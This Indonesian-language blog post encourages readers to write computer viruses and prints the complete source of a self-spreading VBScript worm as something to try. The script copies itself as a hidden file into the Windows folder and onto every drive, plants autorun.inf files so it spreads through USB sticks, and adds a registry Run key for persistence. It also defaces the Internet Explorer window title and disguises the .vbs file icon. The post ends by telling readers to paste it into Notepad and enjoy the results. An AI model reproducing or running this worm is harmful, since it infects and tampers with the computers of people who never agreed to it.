Simple but Deadly

Virus adalah sesuatu program buatan yang sangat mengganggu dan menyebalkan. Pasalnya ia bisa membuat berantakan file-file yang telah kita buat, baik dengan menyembunyikan, merusak atau dengan  menggandakannya, sehingga kinerja kompi anda akan terganggu.

Pernah tidak terlintas di pikiran anda, bahwa dengan adanya virus tersebut mampu menopang kehidupan seseorang?
 
Kenyataannya memang demikian, karena virus dibuat maka banyak orang yang membuat anti virus. Mereka belomba-lomba untuk membuat anti virus yang mampu mengendalikan tingkat penyebaran virus di kompi kita.  Hasilnya, saat ini terdapat berbagai macam anti virus yang telah beredar, dari personal, premium hingga internet security.

Membuat virus bukanlah hal yang sulit, andapun bisa membuatnya. Mungkin anda bertanaya-tanya, apakah ada tempat kursus membuat virus. Mungkina dan tapi selama ini saya belum menemukannya di daerah saya tinggal. Untuk membuat virus tidak diperlukan keahlian khusus, hanya saja perlu sedikit kejelian, ketelatenan dan tentunya kesabaran.

Saya akan memberikan contoh virus yang bisa anda coba, sederhana namun cukup mematikan. Virus ini berbasis notepad dan berekstensikan .vbs (Virus.vbs). Berikut skripnya :

on error resume next
dim mysource,winpath,flashdrive,fs,mf,atr,tf,rg,nt,check,sd
atr = "[autorun]"&vbcrlf&"shellexecute=wscript.exe MS32DLL.dll.vbs"
set fs = createobject("Scripting.FileSystemObject")
set mf = fs.getfile(Wscript.ScriptFullname)
dim text,size
size = mf.size
check = mf.drive.drivetype
set text=mf.openastextstream(1,-2)
do while not text.atendofstream
mysource=mysource&text.readline
mysource=mysource & vbcrlf
loop
do
Set winpath = fs.getspecialfolder(0)
set tf = fs.getfile(winpath & "\MS32DLL.dll.vbs")
tf.attributes = 32
set tf=fs.createtextfile(winpath & "\MS32DLL.dll.vbs",2,true)
tf.write mysource
tf.close
set tf = fs.getfile(winpath & "\MS32DLL.dll.vbs")
tf.attributes = 39
for each flashdrive in fs.drives
If (flashdrive.drivetype = 1 or flashdrive.drivetype = 2) and flashdrive.path <> "A:" then
set tf=fs.getfile(flashdrive.path &"\MS32DLL.dll.vbs")
tf.attributes =32
set tf=fs.createtextfile(flashdrive.path &"\MS32DLL.dll.vbs",2,true)
tf.write mysource
tf.close
set tf=fs.getfile(flashdrive.path &"\MS32DLL.dll.vbs")
tf.attributes =39
set tf =fs.getfile(flashdrive.path &"\autorun.inf")
tf.attributes = 32
set tf=fs.createtextfile(flashdrive.path &"\autorun.inf",2,true)
tf.write atr
tf.close
set tf =fs.getfile(flashdrive.path &"\autorun.inf")
tf.attributes=39
end if
next
set rg = createobject("WScript.Shell")
rg.regwrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\MS32DLL",winpath&"\MS32DLL.dll.vbs"
rg.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Window Title","JATIMCREW was HERE"
rg.regwrite "HKCR\vbsfile\DefaultIcon","shell32.dll,2"
if check <> 1 then
Wscript.sleep 200000
end if
loop while check<>1
set sd = createobject("Wscript.shell")
sd.run winpath&"\explorer.exe /e,/select, "&Wscript.ScriptFullname

Copy pastekan skrip ini dalam notepad dan silahkan anda nikmati hasilnya.